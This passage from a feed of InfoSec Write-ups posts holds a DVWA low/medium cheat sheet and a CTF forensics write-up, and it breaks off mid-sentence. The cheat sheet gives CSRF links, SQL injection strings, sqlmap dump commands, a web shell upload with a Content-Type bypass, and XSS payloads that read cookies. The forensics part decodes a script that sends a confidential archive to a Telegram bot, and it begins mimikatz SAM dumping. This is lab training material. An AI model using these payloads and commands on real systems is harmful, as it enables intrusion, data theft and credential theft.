the confirmation of it is in the URL ‘test123’ are now the new password</p><p>if we changed the URL to <em>http://192.168.1.4/dvwa/vulnerabilities/csrf/?password_new=</em><strong><em>Hello</em></strong><em>&amp;password_conf=</em><strong><em>Hello</em></strong><em>&amp;Change=Change#</em></p><p>And open this new link, the password will change directly to ‘Hello’</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rfTFEoDxSjiLXYSw9_sKnw.png"></figure><p>if you logged out and tried to login with ‘<strong>test123</strong>’ password, it will give you Login Failed <br>if you tried ‘<strong>Hello</strong>’ instead, you'll be logged in successfully</p><p>so you can use this malicious link with some phishing techniques and so on</p><p><strong>Cross-Site Request Forgery (CSRF): Medium</strong></p><p>first, we need to intercept the GET packet for password changing</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/809/1*SwH3-1OyD_bmtRTKMGHpSg.png"><figcaption><strong>Let's intercept this packet</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*EmZ0S8_mwaA3UxSkokfd1Q.png"><figcaption><strong>The intercepted packet in Burp Suite</strong></figcaption></figure><p>Why we intercepted now ? , Because the Referer in the next packet will be hidden, so we will add it manually but with a little bit change</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*pU0JBYWDvyw-hYHb0DlCsQ.png"><figcaption><strong>Referer: 127.0.0.1 is added manually</strong></figcaption></figure><p>once we added the Referer manually , we can forward the packet and the password will change directly</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/1*qh0n80BhuKPWZ52SV5OKMw.png"><figcaption><strong>Password Changed Successfully</strong></figcaption></figure><p>now you can login with the new changed password ‘<strong>csrfmedium</strong>’</p><p><strong>File Inclusion : Low &amp; Medium</strong></p><p>In this situation we just need to manipulate the URL in the website</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xZa421F8PvvfVgCm96W1wA.png"><figcaption><strong>Low Level Checked</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rgT6a2MFoahU0NqxPnzrCg.png"><figcaption><strong>We got access to ‘/etc/passwd’</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7ek2QAuFpd6NlB72VLBulA.png"><figcaption><strong>Also we got the Linux version</strong></figcaption></figure><p><strong>File Inclusion : Medium</strong></p><p>The same way as we did on low level is working on medium level, But let's try another files to confirm</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DkonGnobJvn99L0y8BNuKg.png"><figcaption><strong>Medium Level Checked</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dAtnxU3fHMeT1YlrGGOWkg.png"><figcaption><strong>Logs of authentication events</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4lGWe6pZ1ma0Xorqn3bMsA.png"><figcaption><strong>Lists the groups that users belong to</strong></figcaption></figure><p><strong>SQL Injection : Low</strong></p><p>In sql injection section we have to put the user id</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R6Y8eqs-bJvER2AeJL7TSw.jpeg"><figcaption><strong>That's all users we've got</strong></figcaption></figure><p>Let's try some Injections💉</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/447/1*NC9kzsb55-7pTN8xmzvgmw.png"><figcaption><strong>@’ or ‘1’=’1</strong></figcaption></figure><p>@ is just any sign and the ‘ after it means that anything after this will be outside of the ‘user id’ scope, and the statement after the <strong>or </strong>condition is a tautology (always True) hince it always true, it will print all users in it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8yLngEpheZe6wfjyh7baFQ.png"><figcaption><strong>‘UNION SELECT user, password FROM users#</strong></figcaption></figure><p>The single quote closes the string that was opened by the SQL query</p><p>UNION to make two SELECT queries into a single result set , The Selection is obvious (user, password)</p><p>Everything after # is treated as a comment and ignored by the SQL engine.</p><p><strong>SQL Injection : Medium</strong></p><p>The concept is the same, you just have to remove comments like single quote or put more quotes , but it's the same concept</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5cuK-gX-sPwh6hTaucpu9w.png"><figcaption><strong>1 or 1=1</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RSxxMnpYVIf5kUMsqu3Dmg.png"><figcaption><strong>1 UNION SELECT user, password FROM users</strong></figcaption></figure><p><strong>SQL Injection (Blind) : Low</strong></p><p>these queries are working perfectly</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I1rocXhsBHjZgfiK2uuyvw.png"><figcaption><strong>‘UNION SELECT user, password FROM users#</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FR2Loy8Svtx_Ai47xLwXhA.png"><figcaption><strong>$’ or ‘1’=’1</strong></figcaption></figure><p>But in Blind case, <a href="https://sqlmap.org/">sqlmap </a>is a perfect solution</p><p>First , you need to hit <strong>Submit </strong>in DVWA and intercept this packet using <a href="https://portswigger.net/burp/communitydownload">Burp Suite</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*Oq-qlNCzZXYuIdFds0aIhA.png"><figcaption><strong>This is the intercepted ‘Submit’ Packet</strong></figcaption></figure><p>now we will go to sqlmap on linux and execute this command</p><pre>sqlmap -u "http://192.168.1.4/dvwa/vulnerabilities/sqli_blind/?id=&amp;Submit=Submit" --cookie="security=low; PHPSESSID=17ef46f3cec5a583f4bf12da8c0a4daf" --dbs<br>"Make Sure to customize your cookie and ip address"</pre><p>Make sure to type the URL right, and the cookie from your Burp Suite Intercept is also right</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/335/1*jKndyA41MhK3_sCNloB-ow.png"><figcaption><strong>That's all available databases</strong></figcaption></figure><p>lets explore avaliable tables for DVWA database with this command</p><pre>sqlmap -u "http://192.168.1.4/dvwa/vulnerabilities/sqli_blind/?id=&amp;Submit=Submit" --cookie="security=low; PHPSESSID=17ef46f3cec5a583f4bf12da8c0a4daf" -D dvwa --tables</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/516/1*A6RReuvfYN0nxJ22SJiedQ.png"><figcaption><strong>That’s the available tables for ‘dvwa’ database</strong></figcaption></figure><p>Now Lets explore more about ‘users’ table in DVWA database with this command</p><pre>sqlmap -u "http://192.168.1.4/dvwa/vulnerabilities/sqli_blind/?id=&amp;Submit=Submit" --cookie="security=low; PHPSESSID=17ef46f3cec5a583f4bf12da8c0a4daf" -D dvwa -T users --dump</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*THxKzxDXIu-YzFFtJffvPw.png"><figcaption><strong>users table</strong></figcaption></figure><p>after this i decided to crack the the users password using the default wordliast in sqlmap. So all of them are cracked except the admin password <br>Because the admin password is ‘<strong>csrfmedium</strong>’ since the last <strong>csrf </strong>attack i didn't change it , so it's difficult to crack, but the rest are all cracked</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LjcPX3dxae9JTwOPCcRc6w.png"><figcaption><strong>All cracked passwords</strong></figcaption></figure><p><strong>SQL Injection (Blind) : Medium</strong></p><p>These queries still working perfectly, unfortunately SQLMAP is not working properly in this medium level of blind sql injection</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_JRQ6_wQkeM0cLav8piX4A.png"><figcaption><strong>1 or 1=1</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/991/1*5LAOs0arujPX5i0ffdjOvg.png"><figcaption><strong>1 UNION SELECT user, password FROM users</strong></figcaption></figure><p><strong>File Upload: Low</strong></p><p>we just want to upload a simple web shell, so i used this simple php web shell <a href="https://github.com/artyuum/simple-php-web-shell/blob/master/index.php">LINK</a> , and now let's upload it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*Sgh66o5xuIzihcOyet2YPQ.png"></figure><p>Now let's access it from the URL, remove the <strong># </strong>at the end of URL</p><p>and paste this path instead <strong>‘../../hackable/uploads/index.php’</strong></p><p>once you got this website, you can execute whatever you want</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*bTfVyx-bimWqUFBvEEsWFw.png"><figcaption><strong>ls;echo ”********************************************************”;cat /etc/passwd</strong></figcaption></figure><p><strong>File Upload: Medium</strong></p><p>In this level, the site checks whether the uploaded file is image or not so the last trick will give us an error.</p><p>So we will hop on burp suite and change the type of it to image</p><p>first we need to choose the php file, and turn the intercept on for BurpSuite</p><p>and hit Submit on DVWA, to intercept this submittion packet</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*tyjniDp1F1c43JmLR4ByFw.png"></figure><p>this will give me an error if there's no intercept, but now i intercepted this request on burp suite</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/761/1*avXMPrsQN83kWXuCYbfgzw.png"></figure><p>Lets change the ‘<strong>Content-Type</strong>’ from ‘<strong>application/x-php</strong>’ to ‘<strong>image/jpeg</strong>’</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/761/1*qqD6eriKdc14huTA0wEFzA.png"></figure><p>Alright, Let's Hit <strong>‘Forward’ </strong>and sent the request to the DVWA</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/849/1*AP4tQu2vlxWR5AUVIMI8eQ.png"></figure><p>NICE! file is successfully uploaded</p><p>let's remove the <strong>‘#’ </strong>from the URL and past the path that he gave us <strong>‘../../hackable/uploads/index.php’ , </strong>once you get this page, congratulations</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/849/1*4QXEmR1svwCApHcsX0gOtQ.png"></figure><p><strong>XSS Reflected: Low</strong></p><p>In reflected xss the malicious script is reflected off the web server and executed immediately and it's not stored on the web server</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T2l_Bd4O6KpJyT4YMOhrLQ.png"></figure><p>Once You submit this xss payload , it'll pop-up a message says Reflected XSS</p><pre><br>&lt;script&gt;alert('Reflected XSS');&lt;/script&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OKp21vTjlINWATJJRl894g.png"><figcaption><strong>Just Like That</strong></figcaption></figure><p><strong>XSS Reflected: Medium</strong></p><p>the previous payload is not working in this phase, so let's try another payload.</p><p>i just crafted a specified payload that makes reflected xss and take my logo print it next to hello inside the DVWA</p><pre>&lt;img src="http://127.0.0.1/Prankster_Photo.jpg" onload="alert('Reflected XSS')" style="width:100px; height:100px;"&gt;</pre><p>i just uploaded my logo on http server and resized the image to be <br>100px X 100px , i did all of this inside the XSS Reflected payload</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/907/1*iXycjSyLcwzSAaq_s_ZtRA.png"><figcaption><strong>Payload is working perfectly</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/907/1*MVsFkA9OJPZBZXZ8O6OEbA.png"><figcaption><strong>And The Prankster logo is also working</strong></figcaption></figure><p>Let's try another reflected xss payload that uses a click me button to perform reflected xss attack everytime you press it</p><pre>&lt;a href="#" onclick="alert('Reflected XSS')"&gt;Click Me&lt;/a&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*703rq3RwYAxPRQo4r_P_xw.png"><figcaption><strong>Click Me Button is Ready for Execution</strong></figcaption></figure><p>Every time you hit <strong>‘Click Me’</strong> button, will perform the attack</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V0gM8_M0HsEzlFK6DS3dHQ.png"><figcaption><strong>Just like that</strong></figcaption></figure><p><strong>XSS Stored: Low</strong></p><p>The malicious script is stored on the server and it will run automatically without any buttons or anything, every time you visit the XSS Stored section in DVWA , this xss code will execute</p><pre>&lt;script&gt;alert('Stored XSS');&lt;/script&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iyHmNSSmar_l5Hbt0Mr3oQ.png"></figure><p>Every time you visit the XSS Stored section in DVWA, you'll get this pop-up</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/473/1*myJVWh2H-hWE8CfXPBVACg.png"></figure><p><strong>XSS Stored: Medium<br></strong>to be honest, the same payload is still working on medium level and i can't remove anything LOL!! <br>must be button for ‘clear guestbook’ but i can't find it so, the XSS is still working perfectly</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*iEX28RP1jUrWQfnhUkipeQ.gif"><figcaption><strong>Proof of concept</strong></figcaption></figure><p>I've tried to make another stored xss attack , but there's already a stores xss up and running. I also asked <a href="https://chatgpt.com/">ChatGPT</a> in this case and he answered this :</p><p><strong><em>“If you already have an XSS payload running on the website, it’s unlikely that it would prevent another XSS attack from working.”</em></strong></p><p>So let's try another way to make sure we passed medium level, so let's reset the database to enter the xss payload again on medium level</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V1AsgDcru-CPiq0QcClMPQ.png"><figcaption><strong>First, we need to reset to enter the xss again</strong></figcaption></figure><p>now lets maximize the name section to put the payload in the name section</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*bfi-5prqPmh21HxDxf1KyA.png"><figcaption><strong>set maxlength to 100 instead of 10</strong></figcaption></figure><p>Let's try this payload in the name section, this payload will give you the cookie for the user</p><pre>&lt;script&gt;alert(document.cookie)&lt;/script&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KvU-6ZOMLklBE7peUpOrYA.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/451/1*Hod39Kycm45vBcgbA2xLig.png"><figcaption><strong>That's the Cookie</strong></figcaption></figure><p>Finally, Thanks for reading my blog , and fell free to make these attacks the way you want, it’s not a rule you can customize whatever you want to achieve your Goals.</p><blockquote><strong>Contact Me:</strong></blockquote><blockquote><strong>Discord:</strong> Prankster#6546</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=c7490e76f1b5" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/dvwa-cheat-sheet-low-medium-c7490e76f1b5">DVWA Cheat Sheet (Low &amp; Medium)</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[IEEE Victoris 4.0 — CTF 2025 — Quals DFIR Challenges]]></title>
<description><![CDATA[IEEE Victoris 4.0 — CTF 2025 —Quals DFIR ChallengesHi, I’m glad to share with you my writeup for getting first blood in 2/2 DFIR challenges.First Challenge: “the Frontdoor” FIRST BLOOD🩸in this challenge, we have a linux disk image, we need to investigate it to get the correct answer. reading the ...]]></description>
<link>https://tsecurity.de/de/3592750/hacking/ieee-victoris-40-ctf-2025-quals-dfir-challenges/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3592750/hacking/ieee-victoris-40-ctf-2025-quals-dfir-challenges/</guid>
<pubDate>Fri, 12 Jun 2026 09:33:33 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>IEEE Victoris 4.0 — CTF 2025 —Quals DFIR Challenges</h3><p>Hi, I’m glad to share with you my writeup for getting first blood in 2/2 DFIR challenges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/843/1*r7vTPHgC_0t6kAXxFx3N3w.png"></figure><p>First Challenge: “the Frontdoor” <strong>FIRST BLOOD</strong>🩸</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/495/1*3HO6z-6mliIaDQWTDIdYQA.png"></figure><p>in this challenge, we have a linux disk image, we need to investigate it to get the correct answer. reading the bash history or “.zsh_history” we can view that there’s a lot of file navigations commands, and Git activity in “MyProject” which located in /home/Documents.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*F4F7ja4jNJLXS8fvZVKJaQ.png"></figure><p>also, while i was digging around all linux files, i found an xml file “recently-used.xml” located in “/home/kali/.local/share/recently-used.xml”. this xml tracks that he opened /home/kali/Documents/MyProject/.git/config file using Mousepad and Thunar “kali linux gui”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ohWftXZJyRAjWf0oFxuMaw.png"></figure><p>so, configfile will be first file to check in MyProjectdirectory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1009/1*UyQzYFMbtxYv-QzRQDDicQ.png"></figure><p>we can see there’s a beautiful base64 encoded that contains our flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/855/1*aCdLTbSVud0hl10YXYp-yA.png"></figure><pre>IEEE{192.168.213.68:3421}</pre><p>Second Challenge: “<strong>Lay-off</strong>” <strong>FIRST BLOOD</strong>🩸</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/450/1*TTZ1qGQeR4PTvxxgYHpGxA.png"></figure><p>this one was so challenging, we got 14 questions that needs to be answered correctly to get our very precious flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kHHnZbOj_KAfLcWu4z6BiA.png"></figure><pre>=== Question Menu ===<br>Unanswered:<br>  1) What is the full name of the employee who sent the email?<br>  2) When was QR Tag company founded? (format: year)<br>  3) What website did the developer log into at 2025-09-18 17:56:51?<br>  4) what was the first thing the developer looked for after receiving the email?<br>  5) The developer created a compressed archive to leak confidential information about QR Tag company. What was it's name?<br>  6) Can you determine the number of files have been leaked?<br>  7) When did this archive get deleted?<br>  8) The developer contacted some buyers on telegram dark markets to sell some of QR Tag's confidential information. What utility did he use to send the data?<br>  9) What is the bot token and chat id used in the script? (format: bot_token:chat_id)<br>  10) Which telegram API did the developer use to send the archive to the bot?<br>  11) What is the username and password of the database used in QR Tag website? (format: username:password)<br>  12) What version of express did the developer use?<br>  13) What service will the QR Tag partnership provide?<br>  14) The developer used a security feature to securely encrypt a secret file. Can you determine what he was trying to hide?</pre><p>we have a windows disk image, and an email :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/374/1*JVkqWJkKf_TmjOvMphJKAA.png"></figure><pre>1) What is the full name of the employee who sent the email?</pre><p>open the email with thunderbird, you'll find the correct answer easily:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iJSzHFWHv0nobrFxeZE8ag.png"></figure><pre>1) What is the full name of the employee who sent the email? --&gt; Huda Ahmed</pre><pre>2) When was QR Tag company founded? (format: year)</pre><p>with an online research on linkedin, we'll find in image with same name located in Egypt, Ismailia.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bh6y9oU10XLNDQlznyb9xQ.png"><figcaption><strong>challenge author follows this page</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/186/1*KC82e8NCoIrYFGklYoZ-6g.png"></figure><pre>2) When was QR Tag company founded? (format: year) --&gt; 2024</pre><pre>3) What website did the developer log into at 2025-09-18 17:56:51?</pre><p>“<strong>log into</strong>” , by checking the Microsoft edge History database, which located in: C:\Users\&lt;username&gt;\AppData\Local\Microsoft\Edge\User Data\&lt;Profile&gt;\History</p><p>in urls table, sort them by time and go to the following website to decode the time:</p><p><a href="https://www.epochconverter.com/webkit">WebKit/Chrome Timestamp Converter</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CKNUs9pqA2WuXvtYIal1sQ.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*MbwVthWRGbeoiIkgWsUwUA.png"><figcaption><strong>time is perfectly correct</strong></figcaption></figure><pre>3) What website did the developer log into at 2025-09-18 17:56:51?<br>   Answer: www.qrtagapp.com</pre><pre>4) what was the first thing the developer looked for after receiving the email?</pre><p>using thunderbird, open the email with message source, or open the email with any text editor:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/579/1*E4Gsez-x9XrpnbP_zrk-NA.png"></figure><p>so, the correct time must be “<strong>2025–09–19 00:08:59</strong>” in GMT +3</p><p>now let’s find anything intresting, but in the history database of firefox, located in: C:\Users\&lt;username&gt;\AppData\Roaming\Mozilla\Firefox\Profiles\&lt;profile folder&gt;\places.sqlite</p><p>you'll find that, the most recent search after the email was send was all these searches in “<strong><em>moz_places</em></strong>” table:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*357pilL9LM4ujk4fa3LMbw.png"></figure><pre>4) what was the first thing the developer looked for after receiving the email?<br>   <br>   Answer: telegram leaks channels</pre><pre>5) The developer created a compressed archive to leak confidential information about QR Tag company. What was it's name?</pre><p>this was a little dizzy, but what i did was parsing the prefetch files with PECMD <a href="https://ericzimmerman.github.io/#!index.md"><strong>here</strong></a>, and see if there any zip, rar, 7z, gz and so on.</p><p>And yes, i found the prefetch data for using 7z.exe:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/834/1*ja5aSOG_bDC_wKy2dJj36A.png"></figure><p>now let’s check for all files referenced, we can see a 7z file located on MHANY’s desktop:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*RrvUM43PjOtLcotdMysp1w.png"></figure><pre>5) The developer created a compressed archive to leak confidential information about QR Tag company. What was it's name?<br>   CONFIDENTIAL.7Z</pre><pre>6) Can you determine the number of files have been leaked?</pre><p>that’s so simple, in the prefetch we did parse we can view all files that was compressed and have been leaked:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ta5ol6w7Sdnpq_GOStubZg.png"></figure><p>just count all files below CONFIDENTIAL.7Z file:</p><pre>6) Can you determine the number of files have been leaked? --&gt; 11</pre><pre>7) When did this archive get deleted?</pre><p>parsing the $J file with MFTECMD <a href="https://ericzimmerman.github.io/#!index.md"><strong>here</strong></a>, which located inC:\$Extend\$J<br>to see all File creation, deletion, renaming timestamps.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rNw6Ri4X0W-n-ReIizk3Og.png"></figure><p>we got the deleted timestamp correctly, 9/19/2025 8:05:17 AM GMT 0.</p><p>convert it to the correct format for the flag answer, and add 3 hours to become GMT +3 as the Local Egyptian Time, then subtract 1 sec.</p><pre>7) When did this archive get deleted?<br>   Answer: 2025-09-19 11:05:16</pre><pre>8) The developer contacted some buyers on telegram dark markets to sell some of QR Tag's confidential information. What utility did he use to send the data?</pre><p>this question needs deep investigation, and a good eyesight to catch malicious scripts. found a python file in temp called botscript.py full path: C:\Users\mhany\AppData\Local\temp\botscript.py that contains a too long base64 encoded string:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e9zheBLyZA4DxXRjyr_TkA.png"></figure><p>it’s not just encoded, it’s reversed. And that’s because of this:</p><pre>b64decode(__[::-1]);</pre><p>so let's reverse it first, and decode the base64 <a href="https://gchq.github.io/CyberChef/#recipe=Reverse('Character')From_Base64('A-Za-z0-9%2B/%3D',true,false)&amp;input=cFFIZWxSbkxsTm5idkIzY2xKSElzSWlPeTltY3lWa0lvUW5icEpIY2dBQ0lnb1FENlUyY3NWbUNOa2lJNXhHYjFaMmN6VjJZalYzY2dRbmJsTkhJbHhXYUdKQ0swNVdheUJISWdBQ0lLMGdPd0FqTWcwVFBnVUdadk4yWHpWSGRoUjNjdVUyY3U5R2N6Vm1jZ1lXYUswZ0NOa1NmbUJpT2lRbmJsMVdkajlHWmlzWFB6VkdicFpHSXMwWE14d1dTSkZEYnNsVU1nb2pJa2wyWDBGR2FqSnllOUVHZGhSR0lzd21jMWhDZHo5R2N1TUhkelZXZHhWbWNnMERJbE5uYnZCM2NsSkhJZ0FDSUswZ09tQnljaEJTS2lJbWNpQUNMSmxVTXN4V01KbFVNc2hpYmxCM2JnZ0dkcGRuQ05vUURpUW5ibDFXZGo5R1JrNVdaejlTZnh3V1NKeEdieEVUU3NGVFM3UjNiaTl5Wnk5bUx0Rm1jblZHYmxSbkxwQlhZdjhpT3pCSGQwaG1JbUJTUGd3bWMxcFFEbm8zTnV3V1lwUm5ibFJXYW01MmJEeEZjdlIzYXpWR1JjbG5iaGhXYmNObmNsTlhWY3B6UW5JSEk5QVNTSkZEYnNGVFNKRkRiSzBnSTVFVE55QUROeEl6TTFJQ0k5QVNNeHdXU0pGRGJzbFVNSzBnSTNSWFpySmtSZlptVWlCMVNpdDJWMzVHY2xwMFFFdEVjbEoxVG9OR2Q0SlhSQkZrT3dFRE0zSXpNMUlqTTRJQ0k5QVNNc2xVU3N4V014a0VieGtrQ05vUUR6UjNjbFZYY2xKSEkwSjNidzFXYQ&amp;oeol=CRLF"><strong>here</strong></a></p><pre>import requests<br><br>I1lI11llIIl1 = "8225327010:AAErxtchORepKDCJepnwWkbKPbRf_FBketw"<br>1Ill1IIl11 = "5321402519"<br>l1II1ll1II = r'C:\Users\mhany\Desktop\Confidential.7z'<br>url = f"https://api.telegram.org/bot{I1lI11llIIl1}/sendDocument"<br><br>with open(l1II1ll1II, "rb") as f:<br>    response = requests.post(url, data={"chat_id": 1Ill1IIl11}, files={"document": f})<br><br>if response.status_code == 200:<br>    print("File sent successfully")<br>else:<br>    print("Error:", response.text)</pre><p>so, he sends the data over telegram bot using a python script</p><pre>8) The developer contacted some buyers on telegram dark markets to sell some of QR Tag's confidential information. What utility did he use to send the data?<br>   Answer: python</pre><pre>9) What is the bot token and chat id used in the script? (format: bot_token:chat_id)<br>10) Which telegram API did the developer use to send the archive to the bot?</pre><p>from the decoded base64 text we can answer these 2 questions easily</p><pre>import requests<br><br>I1lI11llIIl1 = "8225327010:AAErxtchORepKDCJepnwWkbKPbRf_FBketw"<br>1Ill1IIl11 = "5321402519"<br>l1II1ll1II = r'C:\Users\mhany\Desktop\Confidential.7z'<br>url = f"https://api.telegram.org/bot{I1lI11llIIl1}/sendDocument"<br><br>with open(l1II1ll1II, "rb") as f:<br>    response = requests.post(url, data={"chat_id": 1Ill1IIl11}, files={"document": f})<br><br>if response.status_code == 200:<br>    print("File sent successfully")<br>else:<br>    print("Error:", response.text)</pre><p>simple python script. Read, Understand, Answer.</p><pre>9) What is the bot token and chat id used in the script? (format: bot_token:chat_id)<br>Answer: 8225327010:AAErxtchORepKDCJepnwWkbKPbRf_FBketw:5321402519<br><br>10) Which telegram API did the developer use to send the archive to the bot?<br>Answer: /sendDocument</pre><pre>11) What is the username and password of the database used in QR Tag website? (format: username:password)</pre><p>since he is asking for the username, and password for the QR Tag website.</p><p>we can see there’s QRTag Portaldirectory on mhany’s desktop, that contains 2 other subdirectories (Backend &amp;Frontend). checking the Backend directory, we can find .envfile with absolute path: C:\Users\mhany\Desktop\Work\QR Tag\QRTag Portal\Backend\.env</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/597/1*VOfYl_GaLcGcO_LEqprNXg.png"></figure><pre>11) What is the username and password of the database used in QR Tag website? (format: username:password)<br>Answer: H4ny:P@ssw0rd!</pre><pre>12) What version of express did the developer use?</pre><p>In the same Backend directoryC:\Users\mhany\Desktop\Work\QR Tag\QRTag Portal\Backend we'll find package.json file that holds the correct answer</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*03OyPQ3xqNlhS6BK7U5UZA.png"></figure><pre>12) What version of express did the developer use?<br>Answer: 4.19.2</pre><pre>13) What service will the QR Tag partnership provide?</pre><p>checking the Docs directory which located in: C:\Users\mhany\Desktop\Work\QR Tag\Docs\ we can see there’s a pdf file calledpartnership_agreement.pdf “<strong>partnership</strong>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*jQqQBzau5WjDvClCpWZomQ.png"></figure><pre>13) What service will the QR Tag partnership provide?<br>Answer: identity verification and fraud prevention</pre><pre>14) The developer used a security feature to securely encrypt a secret file. Can you determine what he was trying to hide?</pre><p>Now, for the last juicy part.</p><p>in question 13, we could answer it with PDF file located in C:\Users\mhany\Desktop\Work\QR Tag\Docs\ directory.</p><p>So, while i was checking all other documents files, i found a file called <strong>finance.xlsx </strong>with a very strange magic bytes:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*_QngmJL0MUNTrhdsO8sVcw.png"><figcaption><strong>finance.xlsx</strong></figcaption></figure><p>of course, it’s not the traditional hex values for an excel file. to be more clearer, there’s an another excel file called <strong>user_accounts.xlsx</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*adUoqSwT8MTYHsfisagBFA.png"><figcaption><strong>user_accounts.xlsx</strong></figcaption></figure><p>See the difference!!!! <strong>finance.xlsx </strong>is definitely not an excel sheet file.</p><p>So, the question now, what it is actually ?</p><p>and the question says “<em>The developer used a security feature to securely encrypt a secret file</em>”.</p><p>so this file is encrypted with a windows security feature i guess!!</p><p>if we did a quick research on the magic bytes on google <strong>01 00 00 00 D0 8C</strong>, we can definitely get to the point.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/683/1*w8gjA9AesdtPRXeFAO-oaQ.png"><figcaption><strong>DPAPI</strong></figcaption></figure><p>also i did a very weird research, i uploaded the excel file on VirusTotal <a href="https://www.virustotal.com/gui/file/bfeddbd77a68f15e5489b851235c0c00e822f54446bf716309d35b6b44e30a33/details"><strong>link </strong></a>(first one to upload this file) and by reading Details section, we can definitely make sure that this file contains DPAPI encrypted data (100%)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*FEHuTsyLcDXhvTlUPkK_Zw.png"></figure><ol><li>we need to recover the DPAPI masterky to decrypt the file data.</li></ol><p>2. and to do recover the DPAPI masterkey, we need to decrypt the masterkey file. location: C\Users\&lt;username&gt;\AppData\Roaming\Microsoft\Protect\&lt;SID&gt;\&lt;GUID&gt;</p><p>3. and to decrypt the masterkey file, we need to recover the logon password for the user “mhany”</p><p>4. and to recover the logon password for this user, we need to decrypt <strong>SAM </strong>registry hive that contains the local account password hashes.</p><p>5. and to decrypt the <strong>SAM</strong> registry hive, we will need also the<strong>SYSTEM</strong>hive<br>which both are located in : C\Windows\System32\config\ directory</p><p>now we know what to do, let’s dig in using mimikatz “<a href="https://github.com/ParrotSec/mimikatz"><strong>link</strong></a>”. running mimikatx .exe file with administrative powershell, then use these commands</p><pre>privilege::debug  #Enables mimikatz to read protected data.<br><br>lsadump::sam /system:&lt;SYSTEM Hive path&gt;/sam:&lt;SAM Hive path&gt;  </pre><p>reading the output, remember we are 